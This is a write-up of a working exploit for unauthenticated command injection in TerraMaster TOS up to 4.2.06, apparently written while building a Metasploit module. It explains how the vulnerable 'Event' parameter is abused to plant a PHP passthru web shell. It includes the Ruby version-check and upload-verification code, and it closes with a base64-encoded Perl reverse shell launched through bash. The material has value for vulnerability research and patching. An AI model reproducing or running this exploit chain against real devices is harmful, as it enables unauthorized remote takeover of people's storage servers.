This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS <= 4.2.06.
The "Event" parameter in "include/makecvs.php" contains a vulnerability.
"filename" is executing command on system during ".csv" creation.
In order to do this, it is not necessary to have a session in the application.
Therefore an unathenticated user can execute the command on the system.
Analysis of Vulnerability
Let's start by examining the "include/makecvs.php" where we send the HTTP request.
Considered parameters :Service,DateTime,User,Client-IP,Client-PORT,Event
Logs of the latest service(HTTP,SSH etc.) transactions can be output as csv file.
The "Event" parameter represents the service name. The "makecvs.php" file uses the variable assigned for the "Event" parameter directly in the server command line. Therefore, we can run an extra command on the system using a pipe with the content specified for this parameter.
But no cmd output can be seen in the returned response. We must take an initiative to see the response belong to our commands. The application is php based and the "TOS/1.12.1" service allows running PHP files.
First, we need to upload a php to application home directory where we can easily run commands.
TerraMaster works in the "/usr/www/" directory. It will be enough to use PHP passthru(). However, the PHP file we will upload should receive data via HTTP POST, not HTTP GET. Because many payloads we will use for receive shell are quite large and HTTP GET method does not accept large data.
echo(passthru(\$_REQUEST['cmd']));
The PHP payload above will be enough for now. The data in the "cmd" parameter that we will POST will work directly as the system command.We will also use echo and print it to the directory we want.
Our first job will be completed when the above payload is sent to the system.
Our file has been successfully uploaded and we can now execute the system command at basic level.
Advanced Exploitation
In the vulnerable system, we must get an interactive shell. The exploit we will prepare will be a metasploit module and the payloads it uses in itself should be placed in accordance with the exploitation of this vulnerability.
We gonna use HTTP POST method anyway. So we can place a large payload.
The method I used in a different exploit before is also suitable for this exploit.
Let's first check for the vulnerability with the version of the application. The HTTP GET method to be made in TerraMaster "/version" directory reflects the application version by request.
This request will be sufficient. "res.body" will return like "TOS3_S2.0_4.1.30". We will check with version numbers after "0_".
So we have to separate it.
version = res.body.split(".0_")[1]
it will be like "4.1.30". In this part, if we remove the points, we can very easily apply the smaller/bigger condition.
version = version.split(".").join('')
As a result of this operation, version will be like "4130". Vulnerable version is 4.2.06. If the version is equal or less than 4206, we can say that the application is vulnerable.
Therefore, we can control the vulnerability with a codes like the one below.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "version"),
)
if res && res.code == 200 && res.body
version = res.body.split(".0_")[1]
print_status("Version : " + res.body)
return CheckCode::Detected if version.nil?
version = version.split(".").join('')
if version <= "4206"
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
end
The next step is to upload a php file to the server.
With the rand_text_alpha_lower() function we will create a random string of lowercase letters and this will be the name of our php file.
We now have a malicious file on the server where we can execute commands and view the results as a response to the HTTP request.
Let's check that the module we have prepared has successfully uploaded this malicious file and can run a command.
In the above process, we specified the file name we uploaded and asked it to run "id" as a command via cmd parameter.
As seen in manual control, if the response contains the value "uid=", the command has successfully run.
if res && res.code == 200 && res.body.include?('uid=')
print_good("Upload completed successfully and command executed!")
Therefore, a basic check as above will be sufficient.
We're at the last stage. We gonna prepare a payload to get an interactive shell from the server. In this section, I searched for a language installed by default on the TerraMaster server.
Python was not there but Perl is installed by default. So we can use a payload with perl.
However, the payload we will use contains a lot of special characters as seen above. Even if we use escape for PHP it will still break the PHP syntax. Therefore, payload cannot be used directly. So how about using "bash"?
here we will get support from the unix command line. We can encode the perl payload with the base64 algorithm.
bash -c "{echo,' + "#{base64_perl_payload}" + '}
As above the perl payload prepared can be encoded as base64 and run within the "bash" command. But in the "bash" command line, this base64 data must also be decoded. To perform this operation at the same time, We can use pipe "|" .